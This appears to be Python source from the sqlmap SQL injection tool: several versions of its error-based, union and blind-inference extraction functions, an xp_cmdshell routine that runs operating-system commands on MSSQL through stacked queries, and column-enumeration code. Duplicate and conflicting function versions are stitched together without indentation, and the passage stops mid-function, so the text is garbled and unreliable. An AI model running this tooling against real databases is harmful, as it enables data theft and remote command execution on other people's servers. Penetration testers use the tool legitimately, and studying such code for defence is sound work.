def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None):
outputs = []
origExpr = None
threadData = getCurrentThreadData()
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = __oneShotErrorUse(expressionReplaced, field)
if not kb.threadContinue:
return None
if output is not None and not (threadData.resumed and kb.suppressResumeInfo):
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output)))
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field)
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False)
else:
output = []
count = inject.getValue("SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, inband=False, error=False, resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
if not output[0].strip():
output = output[1:]
elif not output[-1].strip():
output = output[:-1]
return output
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred:
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))
)
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
if conf.direct or any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
else:
output = []
count = inject.getValue(
"SELECT COUNT(*) FROM %s" % self.cmdTblName,
resumeValue=False,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS,
)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
if not (output[0] or "").strip():
output = output[1:]
elif not (output[-1] or "").strip():
output = output[:-1]
output = "\n".join(line for line in filter(None, output))
return output
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
with kb.locks.value:
# in case that we requested N columns and we get M!=N then we have to filter a bit
if isListLike(items) and len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
_ = threadData.shared.buffered[0][1]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
else:
with kb.locks.value:
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items)))))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\r\n" % status, True)
def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False):
values = []
origExpr = None
width = getConsoleWidth()
threadData = getCurrentThreadData()
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
if not kb.threadContinue:
return None
if not suppressOutput:
if kb.fileReadMode and output and output.strip():
print
elif (
output is not None
and not (threadData.resumed and kb.suppressResumeInfo)
and not (emptyFields and field in emptyFields)
):
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"),
"resumed" if threadData.resumed else "retrieved",
output if kb.safeCharEncode else safecharencode(output),
)
if len(status) > width:
status = "%s..." % status[: width - 3]
dataToStdout("%s\n" % status)
if isinstance(num, int):
expression = origExpr
values.append(output)
return values
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limits:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = __oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])):
items = parseUnionPage(output)
if isNoneValue(items):
continue
with kb.locks.value:
for item in arrayizeValue(items):
threadData.shared.value.append(item)
else:
items = (
output.replace(kb.chars.start, "")
.replace(kb.chars.stop, "")
.split(kb.chars.delimiter)
)
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo):
status = "[%s] [INFO] %s: %s" % (
time.strftime("%X"),
"resumed" if threadData.resumed else "retrieved",
safecharencode(",".join('"%s"' % _ for _ in flattenValue(arrayizeValue(items)))),
)
if len(status) > width:
status = "%s..." % status[: width - 3]
dataToStdout("%s\r\n" % status, True)
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
outputs = []
origExpr = None
threadData = getCurrentThreadData()
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue:
output = resume(expressionReplaced, None)
if not output or (expected == EXPECTED.INT and not output.isdigit()):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __oneShotErrorUse(expressionReplaced, field)
if not kb.threadContinue:
return None
if output is not None:
kb.locks.ioLock.acquire()
dataToStdout(
"[%s] [INFO] %s: %s\r\n"
% (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output))
)
kb.locks.ioLock.release()
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def __goInferenceFields(
expression,
expressionFields,
expressionFieldsList,
payload,
expected=None,
num=None,
resumeValue=True,
charsetType=None,
firstChar=None,
lastChar=None,
):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue:
output = resume(expressionReplaced, payload)
if not output or (expected == "int" and not output.isdigit()):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.limits.acquire()
try:
num = threadData.shared.limits.next()
except StopIteration:
break
finally:
kb.locks.limits.release()
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = resume(limitedExpr, None)
if not output:
output = __oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
if all(map(lambda x: x in output, [kb.chars.start, kb.chars.stop])):
items = extractRegexResult(r'%s(?P<result>.*?)%s' % (kb.chars.start, kb.chars.stop), output, re.DOTALL | re.IGNORECASE).split(kb.chars.delimiter)
kb.locks.value.acquire()
threadData.shared.value.append(items[0] if len(items) == 1 else items)
kb.locks.value.release()
else:
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
if conf.verbose == 1:
status = "[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(",".join(map(lambda x: "\"%s\"" % x, items))))
if len(status) > width:
status = "%s..." % status[:width - 3]
kb.locks.ioLock.acquire()
dataToStdout(status, True)
kb.locks.ioLock.release()
def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None):
values = []
origExpr = None
threadData = getCurrentThreadData()
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
if not kb.threadContinue:
return None
if kb.fileReadMode and output and output.strip():
print
elif (
output is not None
and not (threadData.resumed and kb.suppressResumeInfo)
and not (emptyFields and field in emptyFields)
):
logger.info("%s: %s" % ("resumed" if threadData.resumed else "retrieved", safecharencode(output)))
if isinstance(num, int):
expression = origExpr
values.append(output)
return values
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue:
output = resume(expressionReplaced, None)
if not output or (expected == EXPECTED.INT and not output.isdigit()):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __oneShotErrorUse(expressionReplaced, field)
if output is not None:
dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True)))
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def _goInferenceFields(expression,
expressionFields,
expressionFieldsList,
payload,
num=None,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field,
expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = _goInference(payload, expressionReplaced, charsetType,
firstChar, lastChar, dump, field)
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if not conf.db:
errMsg = "unable to retrieve the current "
errMsg += "database name"
raise SqlmapNoneDataException(errMsg)
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(',')
else:
colList = []
if conf.excludeCol:
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
elif not conf.search:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return kb.data.cachedColumns
tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList))
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is %s" % DBMS.ACCESS
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.inband.query % tbl
if dumpMode and colList:
values = [(_,) for _ in colList]
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
values = None
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
expression = query
kb.dumpColumns = []
kb.rowXmlMode = True
for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','):
kb.dumpColumns.append(randomStr().lower())
expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
values = unionUse(expression)
kb.rowXmlMode = False
kb.dumpColumns = None
if values is None:
values = inject.getValue(query, blind=False, time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
while True:
query = rootQuery.inband.query2 % (conf.db, tbl, index)
value = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if isNoneValue(value) or value == " ":
break
else:
values.append((value,))
index += 1
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(values))
elif not isNoneValue(values):
table = {}
columns = {}
for columnData in values:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))
comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if len(columnData) == 1:
columns[name] = None
else:
if Backend.isDbms(DBMS.FIREBIRD):
columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1])
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
parseSqliteTableSchema(value)
return kb.data.cachedColumns
table = {}
columns = {}
if dumpMode and colList:
count = 0
for value in colList:
columns[safeSQLIdentificatorNaming(value)] = None
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
count, index, values = 0, 1, []
while True:
query = rootQuery.blind.query3 % (conf.db, tbl, index)
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
if isNoneValue(value) or value == " ":
break
else:
columns[safeSQLIdentificatorNaming(value)] = None
index += 1
if not columns:
errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "")
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
continue
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(column):
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
else:
query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))
comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if not kb.data.cachedColumns:
warnMsg = "unable to retrieve column names for "
warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table "
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)
return kb.data.cachedColumns
def searchTable(self):
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
if bruteForce:
message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
foundTbls = {}
tblList = conf.tbl.split(",")
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
values = []
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
if dbCond and conf.db and conf.db != CURRENT_DB:
_ = conf.db.split(",")
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
elif conf.excludeSysDbs:
whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
logger.info(infoMsg2)
else:
whereDbsQuery = ""
logger.info(infoMsg)
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
